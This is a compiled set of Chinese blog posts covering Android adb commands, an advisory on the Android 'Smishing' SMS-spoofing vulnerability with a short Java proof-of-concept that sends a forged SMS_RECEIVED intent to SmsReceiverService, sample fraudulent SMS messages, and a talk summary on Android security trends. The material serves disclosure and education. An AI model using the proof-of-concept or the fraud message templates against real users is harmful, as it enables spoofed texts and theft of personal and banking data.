可以使用adbpull ,push命令将文件复制到一个模拟器/设备实例的数据文件或是从数据文件中复制。install命令只将一个.apk文件复制到一个特定的位置,与其不 同的是,pull和push命令可令你复制任意的目录和文件到一个模拟器/设备实例的任何位置。
从模拟器或者设备中复制文件或目录,使用(如下命):
adb pull <remote> <local>
将文件或目录复制到模拟器或者设备,使用(如下命令)
adb push <local> <remote>
在这些命令中,<local>和<remote>分别指通向自己的发展机(本地)和模拟器/设备实例(远程)上的目标文件/目录的路径
下面是一个例子:
adb push test.txt /data/dat/test/test.txt、

5、查询模拟器/设备实例:

在发布adb命令之前,有必要知道什么样的模拟器/设备实例与adb服务器是相连的。可以通过使用devices
命令来得到一系列相关联的模拟器/设备:
adb devices

作为回应,adb为每个实例都制定了相应的状态信息:
序列号——由adb创建的一个字符串,这个字符串通过自己的控制端口<type>-<consolePort>唯一地识别一个模拟器/设备实例。
下面是一个序列号的例子:
emulator-5554
实例的连接状态有三种状态:
offline — 此实例没有与adb相连接或者无法响应.
device — 此实例正与adb服务器连接。注意这个状态并不能百分之百地表示在运行和操作Android系统,因此这个实例是当系统正在运行的时候与adb连接的。然而,在系统启动之后,就是一个模拟器/设备状态的正常运行状态了.
每个实例的输出都有如下固定的格式:
[serialNumber] [state]
下面是一个展示devices命令和输出的例子 :
$ adb devices
List of devices attached
emulator-5554  device
emulator-5556  device
emulator-5558  device

如果当前没有模拟器/设备运行,adb则返回 no device .

6、查看bug报告:

adb bugreport

7、记录无线通讯日志:

一般来说,无线通讯的日志非常多,在运行时没必要去记录,但我们还是可以通过命令,设置记录:
adb shell
logcat -b radio

8、获取设备的ID和序列号:

adb get-product
adb get-serialno

9、访问数据库SQLite3

adb shell
sqlite3

如要打开已存在数据库:

sqlite3 <路径>/dbname.db

From: http://blog.sina.com.cn/s/blog_6bc0bae70100xs1c.html

Android短信欺诈(Smishing)漏洞

本文章由Jack_Jia编写,转载请注明出处。
文章链接:
http://blog.csdn.net/jiazhijun/article/details/8631829
作者:Jack_Jia    邮箱: 309zhijun@163.com

一、漏洞描述
    北卡罗来纳州州立大学研究员日前在进行一项有关智能手机的研究项目中发现了一个存在于Android 平台的“短信欺诈”(Smishing)漏洞,据悉,该漏洞可以允许应用在Android平台上进行短信伪装,且在所有版本的Android软件中都存在这一漏洞。
  攻击者可利用漏洞窃取个人资料,攻击者也可以利用漏洞,将自己的手机号码伪装成银行或亲友等号码。
二、影响版本
    Froyo (2.2.x), Gingerbread (2.3.x), Ice Cream Sandwich (4.0.x), and Jelly Bean (4.1)
三、漏洞原理
    Android系统有一套比较完善的安全体系,权限管理就是其中的一部分。当应用需要操作敏感数据时,需要申请相应的权限。
    该系统漏洞能够使攻击者无需申请任何权限发送短信到用户收件箱。
    出现该漏洞的原因是Android系统的com.android.mms.transaction.SmsReceiverService系统服务未判断启动服务的调用者,攻击者可以通过该应用发送伪装短信到用户收件箱。本漏洞实质上是一种能力的泄漏。
四、POC代码
    Intent intent = new Intent();
    byte[] pdus = new byte[]{…}; // the sms pdus bytes
    intent.setClassName(“com.android.mms”, “com.android.mms.transaction.SmsReceiverService”);
    intent.setAction(“android.provider.Telephony.SMS_RECEIVED”);
    intent.putExtra(“pdus”, new byte[][]{pdus});
    this.startService(intent);
五、相关链接
    http://www.csc.ncsu.edu/faculty/jiang/smishing.html
    http://www.newhua.com/2012/1109/183383.shtml

关于Android系统的Smishing攻击

1. 来自手机内其他app的威胁:

有些apk利用android系统的Smishing漏洞来伪造短信广播, 并使用伪造的短信欺骗用户,发送高消费短信,拨打高消费电话或者泄露银行账号等个人信息

2. 来自他人发来的包含欺诈内容或者欺诈链接的短信:

伪造成人网站链接,或者中奖信息链接,将用户引导到有害站点或者骗取用户身份证,手机号,银行账号等个人隐私

 

防范方法:

1. —

2. —

 

Smishing的例子:

 

Examples of fraudulent SMiShing messages:

 

  • Credit Union N.A. Please call us immediately at 1-888-xxx-xxxx regarding a recent restriction placed on your account. Thank you.
  • Alert!! Honolulu City & County Employees has limited your account pending verifications. Contact us NOW at 213-xxx-xxxx

 

参考文献:

 

[1]. http://www.csc.ncsu.edu/faculty/jiang/smishing.html

[2]. http://www.t-mobile.com/Company/PrivacyResources.aspx?tp=Abt_Tab_PhishingSMishing&tsp=Abt_Sub_IdentityTheft_SMiShing

[3]. NBC News: NBC News Reports on SMiShing Text Claiming to Be From Wal-Mart, November, 2012

[4].  PCWorld: ‘Smishing’ Attacks Are on the Rise, May 2012

肖梓航:Andriod安全漏洞将长期存在

摘要:肖梓航表示,国内外有很多设备厂商会对内核、系统引导做相应修改,加入自己的驱动代码,设置和软件。这些代码里有大量提权问题。虽然Google会去对第三方代码来进行审查,并将补丁推送给厂商,但这些厂商并不一定会把补丁打上,也不一定及时推送给用户,进一步加重了Android平台的碎片化。如此复…

 

内容简介:肖梓航在演讲中分析了Android漏洞的攻防趋势。在漏洞方面,Android平台面临5大问题:碎片化和硬件厂商对安全漏洞的忽视,1day问题和设备上代码成为提权漏洞的新来源;系统和框架漏洞大量出现;应用软件自动化漏洞挖掘遭遇方法瓶颈;恶意代码利用系统和软件漏洞的高级攻击;APT攻击趋势下,信息泄露型漏洞更重要。同时,肖梓航给出了Android软件保护的趋势:软件盘全攻击点从代码转向数据和业务;恶意代码开始采用商业级代码保护技术;代码运行时修改技术可能使软件保护方案出现突破。
原始链接:

http://www.csdn.net/article/a/2013-10-10/15816786